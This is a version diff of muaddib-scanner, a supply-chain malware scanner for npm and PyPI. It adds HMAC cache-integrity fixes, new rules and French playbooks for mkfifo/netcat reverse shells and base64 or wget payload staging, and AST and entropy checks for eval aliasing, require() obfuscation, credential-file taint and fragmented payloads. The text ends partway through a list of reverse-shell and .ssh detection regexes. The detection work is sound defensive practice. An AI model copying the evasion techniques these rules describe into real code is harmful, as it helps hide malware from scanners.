muaddib-scanner 2.5.12 → 2.5.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "target": "npm/evil-pkg@1.0.0",
3
- "timestamp": "2026-03-07T16:18:04.719Z",
3
+ "timestamp": "2026-03-07T19:15:13.572Z",
4
4
  "ecosystem": "npm",
5
5
  "summary": {
6
6
  "critical": 1,
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "target": "npm/suspect-pkg@1.0",
3
- "timestamp": "2026-03-07T16:18:04.720Z",
3
+ "timestamp": "2026-03-07T19:15:13.572Z",
4
4
  "ecosystem": "npm",
5
5
  "summary": {
6
6
  "critical": 0,
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "target": "npm/evil-pkg@1.0.0",
3
- "timestamp": "2026-03-07T16:18:04.720Z",
3
+ "timestamp": "2026-03-07T19:15:13.573Z",
4
4
  "ecosystem": "npm",
5
5
  "summary": {
6
6
  "critical": 1,
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "target": "npm/evil-pkg@2.0.0",
3
- "timestamp": "2026-03-07T16:18:05.033Z",
3
+ "timestamp": "2026-03-07T19:15:13.947Z",
4
4
  "ecosystem": "npm",
5
5
  "summary": {
6
6
  "critical": 1,
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "date": "2026-03-07",
3
- "timestamp": "2026-03-07T16:18:05.131Z",
3
+ "timestamp": "2026-03-07T19:15:14.082Z",
4
4
  "embed": {
5
5
  "embeds": [
6
6
  {
@@ -34,14 +34,14 @@
34
34
  },
35
35
  {
36
36
  "name": "Top Suspects",
37
- "value": "1. **npm/test-dedup-detection-1772900284717@1.0.0** — 1 finding(s)",
37
+ "value": "1. **npm/test-dedup-detection-1772910913569@1.0.0** — 1 finding(s)",
38
38
  "inline": false
39
39
  }
40
40
  ],
41
41
  "footer": {
42
- "text": "MUAD'DIB - Daily summary | 2026-03-07 16:18:05 UTC"
42
+ "text": "MUAD'DIB - Daily summary | 2026-03-07 19:15:14 UTC"
43
43
  },
44
- "timestamp": "2026-03-07T16:18:05.131Z"
44
+ "timestamp": "2026-03-07T19:15:14.081Z"
45
45
  }
46
46
  ]
47
47
  },
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.5.12",
3
+ "version": "2.5.14",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -1226,8 +1226,18 @@ async function runScraper() {
1226
1226
  }
1227
1227
  try {
1228
1228
  const tmpHomeFile = HOME_IOC_FILE + '.tmp';
1229
- fs.writeFileSync(tmpHomeFile, JSON.stringify(existingIOCs, null, 2));
1229
+ const homeJsonData = JSON.stringify(existingIOCs, null, 2);
1230
+ fs.writeFileSync(tmpHomeFile, homeJsonData);
1231
+ // Write HMAC before rename for consistency with updater.js
1232
+ const { generateIOCHMAC } = require('./updater.js');
1233
+ const homeHmac = generateIOCHMAC(homeJsonData);
1234
+ fs.writeFileSync(HOME_IOC_FILE + '.hmac', homeHmac);
1230
1235
  fs.renameSync(tmpHomeFile, HOME_IOC_FILE);
1236
+ // Mark HMAC as initialized
1237
+ const hmacMarker = path.join(homeDir, '.hmac-initialized');
1238
+ if (!fs.existsSync(hmacMarker)) {
1239
+ try { fs.writeFileSync(hmacMarker, new Date().toISOString()); } catch {}
1240
+ }
1231
1241
  saveSpinner.succeed('Saved IOCs + compact format + home directory');
1232
1242
  } catch (e) {
1233
1243
  saveSpinner.succeed('Saved IOCs + compact format (home dir write failed: ' + e.message + ')');
@@ -100,14 +100,19 @@ async function updateIOCs() {
100
100
  delete baseIOCs._fileSet;
101
101
 
102
102
  // Atomic write: write to .tmp then rename (UP-001)
103
+ // HMAC written BEFORE rename to prevent race condition (crash between rename and HMAC write)
103
104
  const tmpFile = CACHE_IOC_FILE + '.tmp';
104
105
  const jsonData = JSON.stringify(baseIOCs);
105
106
  fs.writeFileSync(tmpFile, jsonData);
106
- fs.renameSync(tmpFile, CACHE_IOC_FILE);
107
-
108
- // Write HMAC signature alongside the cache file
109
107
  const hmac = generateIOCHMAC(jsonData);
110
108
  fs.writeFileSync(CACHE_IOC_FILE + '.hmac', hmac);
109
+ fs.renameSync(tmpFile, CACHE_IOC_FILE);
110
+
111
+ // Mark HMAC as initialized — future loads require HMAC presence
112
+ const hmacMarker = path.join(HOME_DATA_PATH, '.hmac-initialized');
113
+ if (!fs.existsSync(hmacMarker)) {
114
+ try { fs.writeFileSync(hmacMarker, new Date().toISOString()); } catch {}
115
+ }
111
116
 
112
117
  const totalNpm = baseIOCs.packages.length;
113
118
  const totalPyPI = (baseIOCs.pypi_packages || []).length;
@@ -236,8 +241,15 @@ function loadCachedIOCs() {
236
241
  mergeIOCs(merged, JSON.parse(cachedData));
237
242
  }
238
243
  } else {
239
- // No HMAC file yet (first run or pre-HMAC version) load but warn
240
- mergeIOCs(merged, JSON.parse(cachedData));
244
+ // No HMAC file check if HMAC was previously initialized
245
+ const hmacMarker = path.join(HOME_DATA_PATH, '.hmac-initialized');
246
+ if (fs.existsSync(hmacMarker)) {
247
+ // HMAC was initialized before but .hmac file is missing → possible tampering
248
+ console.log('[WARN] IOC cache HMAC file missing but was previously initialized — skipping cache.');
249
+ } else {
250
+ // First run or pre-HMAC version — load but warn
251
+ mergeIOCs(merged, JSON.parse(cachedData));
252
+ }
241
253
  }
242
254
  } catch (e) {
243
255
  console.log('[WARN] Failed to load cached IOCs: ' + e.message);
@@ -443,6 +455,13 @@ function invalidateCache() {
443
455
  // ============================================
444
456
  // Key is derived from a stable machine-specific seed + hardcoded salt.
445
457
  // This protects against local file tampering by unauthorized processes.
458
+ //
459
+ // RISK ACCEPTED (v2.5.14): Full cryptographic signing of IOC updates (e.g., Ed25519
460
+ // signatures verified against a pinned public key) was evaluated but not implemented.
461
+ // Current mitigations: HTTPS-only downloads + domain allowlist in src/shared/download.js
462
+ // + HMAC-SHA256 integrity for cached data. The HMAC key is machine-local, so it does
463
+ // not protect against a compromised upstream source — that risk is accepted given the
464
+ // cost/benefit trade-off and the existing HTTPS + domain pinning controls.
446
465
  const IOC_HMAC_SALT = 'muaddib-ioc-integrity-v1';
447
466
 
448
467
  function getIOCHMACKey() {
@@ -165,6 +165,15 @@ const PLAYBOOKS = {
165
165
  fifo_reverse_shell:
166
166
  'CRITIQUE: Reverse shell FIFO/named pipe detecte. Machine potentiellement compromise. Isoler immediatement.',
167
167
 
168
+ fifo_nc_reverse_shell:
169
+ 'CRITIQUE: Reverse shell via mkfifo + netcat detecte. Machine potentiellement compromise. Isoler immediatement. Verifier les connexions sortantes actives.',
170
+
171
+ base64_decode_exec:
172
+ 'CRITIQUE: Payload encode en base64 pipe vers un shell. Decoder le payload pour analyse: echo "<payload>" | base64 -d. Isoler la machine si deja execute.',
173
+
174
+ wget_base64_decode:
175
+ 'Telechargement + decodage base64 detecte. Verifier l\'URL de telechargement et decoder le contenu. Pattern de staging malveillant en deux etapes.',
176
+
168
177
  shai_hulud_backdoor:
169
178
  'CRITIQUE: Backdoor Shai-Hulud dans GitHub Actions. Supprimer le workflow et auditer les runs precedents.',
170
179
 
@@ -448,6 +457,10 @@ const PLAYBOOKS = {
448
457
  'new Worker() avec eval:true detecte. Le code s\'execute dans un thread worker separe, contournant la detection AST du thread principal. ' +
449
458
  'Verifier le contenu du code passe au Worker. Si dynamique ou obfusque, supprimer le package. ' +
450
459
  'Analyser les communications inter-threads (parentPort, workerData) pour identifier le payload.',
460
+
461
+ fragmented_high_entropy_cluster:
462
+ 'Cluster de chaines courtes a haute entropie detecte. Possible fragmentation de payload pour eviter la detection. ' +
463
+ 'Reconstituer les fragments et analyser le contenu combine. Verifier si les chaines sont concatenees ou reassemblees a l\'execution.',
451
464
  };
452
465
 
453
466
  function getPlaybook(threatType) {
@@ -385,6 +385,33 @@ const RULES = {
385
385
  references: ['https://attack.mitre.org/techniques/T1059/004/'],
386
386
  mitre: 'T1059.004'
387
387
  },
388
+ fifo_nc_reverse_shell: {
389
+ id: 'MUADDIB-SHELL-013',
390
+ name: 'FIFO + Netcat Reverse Shell',
391
+ severity: 'CRITICAL',
392
+ confidence: 'high',
393
+ description: 'Reverse shell via mkfifo + netcat (sans /dev/tcp). Technique alternative de reverse shell utilisant un named pipe.',
394
+ references: ['https://attack.mitre.org/techniques/T1059/004/'],
395
+ mitre: 'T1059.004'
396
+ },
397
+ base64_decode_exec: {
398
+ id: 'MUADDIB-SHELL-014',
399
+ name: 'Base64 Decode Pipe to Shell',
400
+ severity: 'CRITICAL',
401
+ confidence: 'high',
402
+ description: 'Payload encode en base64 decode et pipe vers bash/sh. Technique d\'obfuscation courante pour cacher des commandes malveillantes.',
403
+ references: ['https://attack.mitre.org/techniques/T1140/'],
404
+ mitre: 'T1140'
405
+ },
406
+ wget_base64_decode: {
407
+ id: 'MUADDIB-SHELL-015',
408
+ name: 'Wget + Base64 Decode',
409
+ severity: 'HIGH',
410
+ confidence: 'high',
411
+ description: 'Telechargement via wget suivi de decodage base64. Pattern de staging en deux etapes pour dropper un payload.',
412
+ references: ['https://attack.mitre.org/techniques/T1105/'],
413
+ mitre: 'T1105'
414
+ },
388
415
 
389
416
  // AST additional patterns
390
417
  possible_obfuscation: {
@@ -958,6 +985,15 @@ const RULES = {
958
985
  references: ['https://attack.mitre.org/techniques/T1027/'],
959
986
  mitre: 'T1027'
960
987
  },
988
+ fragmented_high_entropy_cluster: {
989
+ id: 'MUADDIB-ENTROPY-004',
990
+ name: 'Fragmented High Entropy Cluster',
991
+ severity: 'MEDIUM',
992
+ confidence: 'medium',
993
+ description: 'Cluster de chaines courtes a haute entropie (8-49 chars) detecte. Technique de fragmentation de payload pour contourner le seuil de longueur minimum d\'analyse entropique.',
994
+ references: ['https://attack.mitre.org/techniques/T1027/'],
995
+ mitre: 'T1027'
996
+ },
961
997
  js_obfuscation_pattern: {
962
998
  id: 'MUADDIB-ENTROPY-003',
963
999
  name: 'JS Obfuscation Pattern',
@@ -330,6 +330,44 @@ function handleVariableDeclarator(node, ctx) {
330
330
  ctx.globalThisAliases.add(node.id.name);
331
331
  }
332
332
 
333
+ // B1: const E = eval; const F = Function;
334
+ if (node.init?.type === 'Identifier' &&
335
+ (node.init.name === 'eval' || node.init.name === 'Function')) {
336
+ ctx.evalAliases.set(node.id.name, node.init.name);
337
+ }
338
+ // B1: const E = (x) => eval(x); const E = function(x) { return eval(x); }
339
+ if ((node.init?.type === 'ArrowFunctionExpression' || node.init?.type === 'FunctionExpression') &&
340
+ node.init.params?.length >= 1) {
341
+ const body = node.init.body;
342
+ if (body?.type === 'CallExpression') {
343
+ const cn = getCallName(body);
344
+ if (cn === 'eval' || cn === 'Function') ctx.evalAliases.set(node.id.name, cn);
345
+ }
346
+ if (body?.type === 'BlockStatement' && body.body?.length === 1 &&
347
+ body.body[0].type === 'ReturnStatement' && body.body[0].argument?.type === 'CallExpression') {
348
+ const cn = getCallName(body.body[0].argument);
349
+ if (cn === 'eval' || cn === 'Function') ctx.evalAliases.set(node.id.name, cn);
350
+ }
351
+ }
352
+
353
+ // B5: Track object literal string properties
354
+ if (node.init?.type === 'ObjectExpression') {
355
+ const propMap = new Map();
356
+ for (const prop of node.init.properties) {
357
+ if (prop.type !== 'Property') continue;
358
+ const key = prop.key?.type === 'Identifier' ? prop.key.name :
359
+ (prop.key?.type === 'Literal' ? String(prop.key.value) : null);
360
+ const val = extractStringValueDeep(prop.value);
361
+ if (key && val) propMap.set(key, val);
362
+ }
363
+ if (propMap.size > 0) ctx.objectPropertyMap.set(node.id.name, propMap);
364
+ }
365
+
366
+ // Track initial string values for reassignment tracking
367
+ if (strVal !== null && strVal !== undefined) {
368
+ ctx.stringVarValues.set(node.id.name, strVal);
369
+ }
370
+
333
371
  // Track variables assigned from path.join containing .github/workflows
334
372
  if (node.init?.type === 'CallExpression' && node.init.callee?.type === 'MemberExpression') {
335
373
  const obj = node.init.callee.object;
@@ -442,17 +480,68 @@ function handleCallExpression(node, ctx) {
442
480
  });
443
481
  }
444
482
  } else if (arg.type === 'Identifier') {
445
- // If the variable was assigned from a static value (string literal,
446
- // array of strings, object with string values), it's a plugin loader pattern
447
- const severity = ctx.staticAssignments.has(arg.name) ? 'LOW' : 'HIGH';
448
- ctx.threats.push({
449
- type: 'dynamic_require',
450
- severity,
451
- message: severity === 'LOW'
452
- ? `Dynamic require() with statically-assigned variable "${arg.name}" (plugin loader pattern).`
453
- : 'Dynamic require() with variable argument (module name obfuscation).',
454
- file: ctx.relFile
455
- });
483
+ // Check if variable was reassignment-tracked to a dangerous module
484
+ const DANGEROUS_MODS_REQ = ['child_process', 'fs', 'net', 'dns', 'http', 'https', 'tls'];
485
+ const resolvedVal = ctx.stringVarValues?.get(arg.name);
486
+ if (resolvedVal) {
487
+ const norm = resolvedVal.startsWith('node:') ? resolvedVal.slice(5) : resolvedVal;
488
+ if (DANGEROUS_MODS_REQ.includes(norm)) {
489
+ ctx.threats.push({
490
+ type: 'dynamic_require', severity: 'CRITICAL',
491
+ message: `require(${arg.name}) resolves to "${norm}" via variable reassignment module name obfuscation.`,
492
+ file: ctx.relFile
493
+ });
494
+ } else {
495
+ // If the variable was assigned from a static value (string literal,
496
+ // array of strings, object with string values), it's a plugin loader pattern
497
+ const severity = ctx.staticAssignments.has(arg.name) ? 'LOW' : 'HIGH';
498
+ ctx.threats.push({
499
+ type: 'dynamic_require',
500
+ severity,
501
+ message: severity === 'LOW'
502
+ ? `Dynamic require() with statically-assigned variable "${arg.name}" (plugin loader pattern).`
503
+ : 'Dynamic require() with variable argument (module name obfuscation).',
504
+ file: ctx.relFile
505
+ });
506
+ }
507
+ } else {
508
+ // If the variable was assigned from a static value (string literal,
509
+ // array of strings, object with string values), it's a plugin loader pattern
510
+ const severity = ctx.staticAssignments.has(arg.name) ? 'LOW' : 'HIGH';
511
+ ctx.threats.push({
512
+ type: 'dynamic_require',
513
+ severity,
514
+ message: severity === 'LOW'
515
+ ? `Dynamic require() with statically-assigned variable "${arg.name}" (plugin loader pattern).`
516
+ : 'Dynamic require() with variable argument (module name obfuscation).',
517
+ file: ctx.relFile
518
+ });
519
+ }
520
+ }
521
+ // B5: require(obj.prop) — MemberExpression argument
522
+ else if (arg.type === 'MemberExpression') {
523
+ const objName = arg.object?.type === 'Identifier' ? arg.object.name : null;
524
+ const propName = arg.property?.type === 'Identifier' ? arg.property.name :
525
+ (arg.property?.type === 'Literal' ? String(arg.property.value) : null);
526
+ const DANGEROUS_MODS = ['child_process', 'fs', 'net', 'dns', 'http', 'https', 'tls'];
527
+ let resolved = false;
528
+ if (objName && propName && ctx.objectPropertyMap?.has(objName)) {
529
+ const val = ctx.objectPropertyMap.get(objName).get(propName);
530
+ if (val) {
531
+ const norm = val.startsWith('node:') ? val.slice(5) : val;
532
+ if (DANGEROUS_MODS.includes(norm)) {
533
+ ctx.threats.push({ type: 'dynamic_require', severity: 'CRITICAL',
534
+ message: `require(${objName}.${propName}) resolves to "${norm}" — object property indirection.`,
535
+ file: ctx.relFile });
536
+ resolved = true;
537
+ }
538
+ }
539
+ }
540
+ if (!resolved) {
541
+ ctx.threats.push({ type: 'dynamic_require', severity: 'HIGH',
542
+ message: 'Dynamic require() with member expression argument (object property obfuscation).',
543
+ file: ctx.relFile });
544
+ }
456
545
  }
457
546
  // Wave 4: detect require() of .node binary files (native addon camouflage)
458
547
  const reqStr = extractStringValueDeep(arg);
@@ -881,6 +970,19 @@ function handleCallExpression(node, ctx) {
881
970
  }
882
971
  }
883
972
 
973
+ // B1: Alias call — E('code') where E = eval or F = Function
974
+ if (node.callee.type === 'Identifier' && ctx.evalAliases?.has(node.callee.name)) {
975
+ const aliased = ctx.evalAliases.get(node.callee.name);
976
+ ctx.hasEvalInFile = true;
977
+ ctx.hasDynamicExec = true;
978
+ ctx.threats.push({
979
+ type: aliased === 'eval' ? 'dangerous_call_eval' : 'dangerous_call_function',
980
+ severity: 'HIGH',
981
+ message: `Indirect ${aliased} via alias "${node.callee.name}" — eval wrapper evasion.`,
982
+ file: ctx.relFile
983
+ });
984
+ }
985
+
884
986
  if (callName === 'eval') {
885
987
  ctx.hasEvalInFile = true;
886
988
  ctx.hasDynamicExec = true;
@@ -1432,6 +1534,29 @@ function handleLiteral(node, ctx) {
1432
1534
  }
1433
1535
 
1434
1536
  function handleAssignmentExpression(node, ctx) {
1537
+ // Variable reassignment: x += 'process' or x = x + 'process'
1538
+ if (node.left?.type === 'Identifier') {
1539
+ if (node.operator === '+=' && ctx.stringVarValues.has(node.left.name)) {
1540
+ const rightVal = extractStringValueDeep(node.right);
1541
+ if (rightVal !== null) {
1542
+ const combined = ctx.stringVarValues.get(node.left.name) + rightVal;
1543
+ ctx.stringVarValues.set(node.left.name, combined);
1544
+ if (DANGEROUS_CMD_PATTERNS.some(p => p.test(combined))) {
1545
+ ctx.dangerousCmdVars.set(node.left.name, combined);
1546
+ }
1547
+ }
1548
+ }
1549
+ if (node.operator === '=' && node.right?.type === 'BinaryExpression') {
1550
+ const resolved = resolveStringConcat(node.right);
1551
+ if (resolved) {
1552
+ ctx.stringVarValues.set(node.left.name, resolved);
1553
+ if (DANGEROUS_CMD_PATTERNS.some(p => p.test(resolved))) {
1554
+ ctx.dangerousCmdVars.set(node.left.name, resolved);
1555
+ }
1556
+ }
1557
+ }
1558
+ }
1559
+
1435
1560
  // Detect object property indirection: obj.exec = require('child_process').exec
1436
1561
  // or obj.fn = eval — stashing dangerous functions in object properties
1437
1562
  if (node.left?.type === 'MemberExpression' && node.right) {
@@ -1489,14 +1614,17 @@ function handleAssignmentExpression(node, ctx) {
1489
1614
  if (node.left?.type === 'MemberExpression') {
1490
1615
  const left = node.left;
1491
1616
 
1492
- // globalThis.fetch = ... or globalThis.XMLHttpRequest = ...
1493
- if (left.object?.type === 'Identifier' && left.object.name === 'globalThis' &&
1617
+ // globalThis.fetch = ... or globalThis.XMLHttpRequest = ... (B2: include aliases)
1618
+ if (left.object?.type === 'Identifier' &&
1619
+ (left.object.name === 'globalThis' || left.object.name === 'global' ||
1620
+ left.object.name === 'window' || left.object.name === 'self' ||
1621
+ ctx.globalThisAliases.has(left.object.name)) &&
1494
1622
  left.property?.type === 'Identifier') {
1495
1623
  if (HOOKABLE_NATIVES.includes(left.property.name)) {
1496
1624
  ctx.threats.push({
1497
1625
  type: 'prototype_hook',
1498
1626
  severity: 'HIGH',
1499
- message: `globalThis.${left.property.name} overridden — native API hooking for traffic interception.`,
1627
+ message: `${left.object.name}.${left.property.name} overridden — native API hooking for traffic interception.`,
1500
1628
  file: ctx.relFile
1501
1629
  });
1502
1630
  }
@@ -1712,7 +1840,8 @@ function handlePostWalk(ctx) {
1712
1840
 
1713
1841
  // Wave 4: Download-execute-cleanup — https download + chmod executable + execSync + unlink
1714
1842
  // Exclude when all URLs in the file point to safe registries (npm, GitHub, nodejs.org)
1715
- if (ctx.hasRemoteFetch && ctx.hasChmodExecutable && ctx.hasExecSyncCall && !ctx.fetchOnlySafeDomains) {
1843
+ // B4: removed fetchOnlySafeDomains guard compound requires fetch+chmod+exec, which is never legitimate
1844
+ if (ctx.hasRemoteFetch && ctx.hasChmodExecutable && ctx.hasExecSyncCall) {
1716
1845
  ctx.threats.push({
1717
1846
  type: 'download_exec_binary',
1718
1847
  severity: 'CRITICAL',
@@ -70,6 +70,9 @@ function analyzeFile(content, filePath, basePath) {
70
70
  workflowPathVars: new Set(),
71
71
  execPathVars: new Map(),
72
72
  globalThisAliases: new Set(),
73
+ evalAliases: new Map(), // B1: variable name → 'eval'|'Function'
74
+ objectPropertyMap: new Map(), // B5: objName → Map<propName, stringValue>
75
+ stringVarValues: new Map(), // Variable reassignment tracking: varName → string value
73
76
  hasFromCharCode: content.includes('fromCharCode'),
74
77
  hasJsReverseShell: /\bnet\.Socket\b/.test(content) &&
75
78
  /\.connect\s*\(/.test(content) &&
@@ -203,6 +203,33 @@ function analyzeFile(content, filePath, basePath) {
203
203
  }
204
204
  }
205
205
  }
206
+ // B7: Taint propagation through data-preserving wrappers
207
+ if (initNode.type === 'CallExpression') {
208
+ const callee = initNode.callee;
209
+ let isTaintWrapper = false;
210
+ // JSON.stringify(x) / JSON.parse(x)
211
+ if (callee?.type === 'MemberExpression' &&
212
+ callee.object?.type === 'Identifier' && callee.object.name === 'JSON' &&
213
+ callee.property?.type === 'Identifier' &&
214
+ (callee.property.name === 'stringify' || callee.property.name === 'parse')) {
215
+ isTaintWrapper = true;
216
+ }
217
+ // x.toString() / String(x) / Buffer.from(x)
218
+ if (callee?.type === 'MemberExpression' &&
219
+ callee.property?.type === 'Identifier' && callee.property.name === 'toString') {
220
+ isTaintWrapper = true;
221
+ }
222
+ if (callee?.type === 'Identifier' && callee.name === 'String') {
223
+ isTaintWrapper = true;
224
+ }
225
+ if (isTaintWrapper && initNode.arguments.length >= 1) {
226
+ const wrappedArg = initNode.arguments[0];
227
+ if (wrappedArg.type === 'Identifier' && sensitivePathVars.has(wrappedArg.name)) {
228
+ sensitivePathVars.add(node.id.name);
229
+ }
230
+ }
231
+ }
232
+
206
233
  // Track exec result capture: const output = execSync('cmd')
207
234
  if (initNode.type === 'CallExpression') {
208
235
  let execName = null;
@@ -246,6 +273,16 @@ function analyzeFile(content, filePath, basePath) {
246
273
  name: callName,
247
274
  line: node.loc?.start?.line
248
275
  });
276
+ // 4.2: fs.readFile callback data tainting
277
+ // fs.readFile('.npmrc', (err, data) => {...}) — taint `data` param
278
+ if (callName === 'readFile' || callName === 'fs.readFile') {
279
+ const lastArg = node.arguments[node.arguments.length - 1];
280
+ if (lastArg && (lastArg.type === 'FunctionExpression' || lastArg.type === 'ArrowFunctionExpression')) {
281
+ if (lastArg.params && lastArg.params.length >= 2 && lastArg.params[1].type === 'Identifier') {
282
+ sensitivePathVars.add(lastArg.params[1].name);
283
+ }
284
+ }
285
+ }
249
286
  }
250
287
  }
251
288
 
@@ -267,6 +304,35 @@ function analyzeFile(content, filePath, basePath) {
267
304
  }
268
305
  }
269
306
 
307
+ // 4.1: Promise .then() callback tainting
308
+ // fs.promises.readFile('.npmrc').then(data => fetch(url, {body: data}))
309
+ // Detect .then() on a call to fs.promises.readFile with sensitive path
310
+ if (node.callee.type === 'MemberExpression' &&
311
+ node.callee.property?.type === 'Identifier' && node.callee.property.name === 'then' &&
312
+ node.callee.object?.type === 'CallExpression') {
313
+ const innerCall = node.callee.object;
314
+ // Check if inner call is fs.promises.readFile(sensitivePath)
315
+ if (innerCall.callee?.type === 'MemberExpression' &&
316
+ innerCall.callee.object?.type === 'MemberExpression') {
317
+ const outerObj2 = innerCall.callee.object.object;
318
+ const mid2 = innerCall.callee.object.property;
319
+ const method2 = innerCall.callee.property;
320
+ if (outerObj2?.type === 'Identifier' && mid2?.type === 'Identifier' && mid2.name === 'promises' &&
321
+ method2?.type === 'Identifier' && method2.name === 'readFile') {
322
+ const isFs2 = outerObj2.name === 'fs' || (taintMap.get(outerObj2.name)?.source === 'fs');
323
+ if (isFs2 && innerCall.arguments[0] && isCredentialPath(innerCall.arguments[0], sensitivePathVars)) {
324
+ // Taint the first param of the .then() callback
325
+ const thenCb = node.arguments[0];
326
+ if (thenCb && (thenCb.type === 'FunctionExpression' || thenCb.type === 'ArrowFunctionExpression')) {
327
+ if (thenCb.params && thenCb.params.length >= 1 && thenCb.params[0].type === 'Identifier') {
328
+ sensitivePathVars.add(thenCb.params[0].name);
329
+ }
330
+ }
331
+ }
332
+ }
333
+ }
334
+ }
335
+
270
336
  if (callName === 'request' || callName === 'fetch' || callName === 'post' || callName === 'get') {
271
337
  sinks.push({
272
338
  type: 'network_send',
@@ -47,6 +47,24 @@ function deobfuscate(sourceCode) {
47
47
  });
48
48
  },
49
49
 
50
+ // ---- 1b. TEMPLATE LITERAL FOLDING ----
51
+ // `child_process` → 'child_process' (no expression templates)
52
+ // `child_${'process'}` → 'child_process' (with resolvable expressions)
53
+ TemplateLiteral(node) {
54
+ const folded = tryFoldConcat(node);
55
+ if (folded === null) return;
56
+ const before = sourceCode.slice(node.start, node.end);
57
+ const after = quoteString(folded);
58
+ if (before === after) return; // no change
59
+ replacements.push({
60
+ start: node.start,
61
+ end: node.end,
62
+ value: after,
63
+ type: 'template_literal',
64
+ before
65
+ });
66
+ },
67
+
50
68
  // ---- 2. CHARCODE REBUILD + 3. BASE64 DECODE ----
51
69
  CallExpression(node) {
52
70
  // String.fromCharCode(99, 104, 105, 108, 100) → "child"
@@ -199,14 +217,30 @@ function propagateConsts(sourceCode) {
199
217
  VariableDeclaration(node) {
200
218
  if (node.kind !== 'const') return;
201
219
  for (const decl of node.declarations) {
202
- if (decl.id?.type !== 'Identifier') continue;
203
220
  if (!decl.init) continue;
204
- if (decl.init.type === 'Literal' && typeof decl.init.value === 'string') {
205
- constMap.set(decl.id.name, {
206
- value: decl.init.value,
207
- declStart: decl.init.start,
208
- declEnd: decl.init.end
209
- });
221
+ // Standard: const x = 'literal'
222
+ if (decl.id?.type === 'Identifier') {
223
+ if (decl.init.type === 'Literal' && typeof decl.init.value === 'string') {
224
+ constMap.set(decl.id.name, {
225
+ value: decl.init.value,
226
+ declStart: decl.init.start,
227
+ declEnd: decl.init.end
228
+ });
229
+ }
230
+ }
231
+ // Array destructuring: const [a, b] = ['child_', 'process']
232
+ if (decl.id?.type === 'ArrayPattern' && decl.init?.type === 'ArrayExpression') {
233
+ for (let i = 0; i < decl.id.elements.length && i < decl.init.elements.length; i++) {
234
+ if (decl.id.elements[i]?.type === 'Identifier' &&
235
+ decl.init.elements[i]?.type === 'Literal' &&
236
+ typeof decl.init.elements[i].value === 'string') {
237
+ constMap.set(decl.id.elements[i].name, {
238
+ value: decl.init.elements[i].value,
239
+ declStart: decl.init.elements[i].start,
240
+ declEnd: decl.init.elements[i].end
241
+ });
242
+ }
243
+ }
210
244
  }
211
245
  }
212
246
  },
@@ -349,6 +383,23 @@ function tryFoldConcat(node, depth) {
349
383
  if (node.type === 'Literal' && typeof node.value === 'string') {
350
384
  return node.value;
351
385
  }
386
+ // TemplateLiteral without expressions → direct string
387
+ if (node.type === 'TemplateLiteral' && node.expressions.length === 0) {
388
+ return node.quasis.map(q => q.value.cooked).join('');
389
+ }
390
+ // TemplateLiteral with resolvable expressions
391
+ if (node.type === 'TemplateLiteral' && node.expressions.length > 0) {
392
+ const parts = [];
393
+ for (let i = 0; i < node.quasis.length; i++) {
394
+ parts.push(node.quasis[i].value.cooked);
395
+ if (i < node.expressions.length) {
396
+ const v = tryFoldConcat(node.expressions[i], depth + 1);
397
+ if (v === null) return null;
398
+ parts.push(v);
399
+ }
400
+ }
401
+ return parts.join('');
402
+ }
352
403
  if (node.type === 'BinaryExpression' && node.operator === '+') {
353
404
  const left = tryFoldConcat(node.left, depth + 1);
354
405
  if (left === null) return null;
@@ -228,7 +228,26 @@ function scanEntropy(targetPath, options = {}) {
228
228
  const strings = extractStringLiterals(content);
229
229
  for (const str of strings) {
230
230
  if (str.length < MIN_STRING_LENGTH) continue;
231
- if (str.length > MAX_STRING_LENGTH) continue;
231
+
232
+ // B12: Windowed analysis for strings > MAX_STRING_LENGTH
233
+ if (str.length > MAX_STRING_LENGTH) {
234
+ if (SOURCE_MAP_REGEX.test(str) || SHA256_HEX_REGEX.test(str)) continue;
235
+ const WINDOW = 500, WIN_THRESHOLD = 6.0;
236
+ for (let i = 0; i < str.length; i += WINDOW) {
237
+ const w = str.slice(i, i + WINDOW);
238
+ if (w.length < 20) continue;
239
+ if (calculateShannonEntropy(w) > WIN_THRESHOLD) {
240
+ threats.push({
241
+ type: 'high_entropy_string',
242
+ severity: ENCODING_TABLE_RE.test(relativePath) ? 'LOW' : 'MEDIUM',
243
+ message: `High entropy window in long string (${str.length} chars, offset ${i}) — possible padded payload`,
244
+ file: relativePath
245
+ });
246
+ break;
247
+ }
248
+ }
249
+ continue;
250
+ }
232
251
 
233
252
  // Skip whitelisted patterns
234
253
  if (isWhitelistedString(str, relativePath)) continue;
@@ -245,6 +264,23 @@ function scanEntropy(targetPath, options = {}) {
245
264
  });
246
265
  }
247
266
  }
267
+
268
+ // B11: Fragment cluster — many short high-entropy strings = payload fragmentation
269
+ const FRAG_MIN = 8, FRAG_MAX = 49, FRAG_COUNT = 5, FRAG_ENTROPY = 4.5;
270
+ const frags = strings.filter(s =>
271
+ s.length >= FRAG_MIN && s.length <= FRAG_MAX &&
272
+ !SOURCE_MAP_REGEX.test(s) && !SHA256_HEX_REGEX.test(s) && !MD5_HEX_REGEX.test(s) &&
273
+ !UUID_REGEX.test(s) && !JWT_REGEX.test(s) &&
274
+ calculateShannonEntropy(s) > FRAG_ENTROPY
275
+ );
276
+ if (frags.length >= FRAG_COUNT) {
277
+ threats.push({
278
+ type: 'fragmented_high_entropy_cluster',
279
+ severity: ENCODING_TABLE_RE.test(relativePath) ? 'LOW' : 'MEDIUM',
280
+ message: `Fragment cluster: ${frags.length} short high-entropy strings (8-49 chars) — possible payload fragmentation.`,
281
+ file: relativePath
282
+ });
283
+ }
248
284
  });
249
285
 
250
286
  return threats;
@@ -16,7 +16,10 @@ const MALICIOUS_PATTERNS = [
16
16
  { pattern: /(?:cat|readFile|cp|mv|curl\s+file:\/\/|tar\s+.*|scp\s+).*\.ssh/m, name: 'ssh_access', severity: 'HIGH' },
17
17
  { pattern: /python\s+-c.*import\s+socket/m, name: 'python_reverse_shell', severity: 'CRITICAL' },
18
18
  { pattern: /perl\s+-e.*socket/m, name: 'perl_reverse_shell', severity: 'CRITICAL' },
19
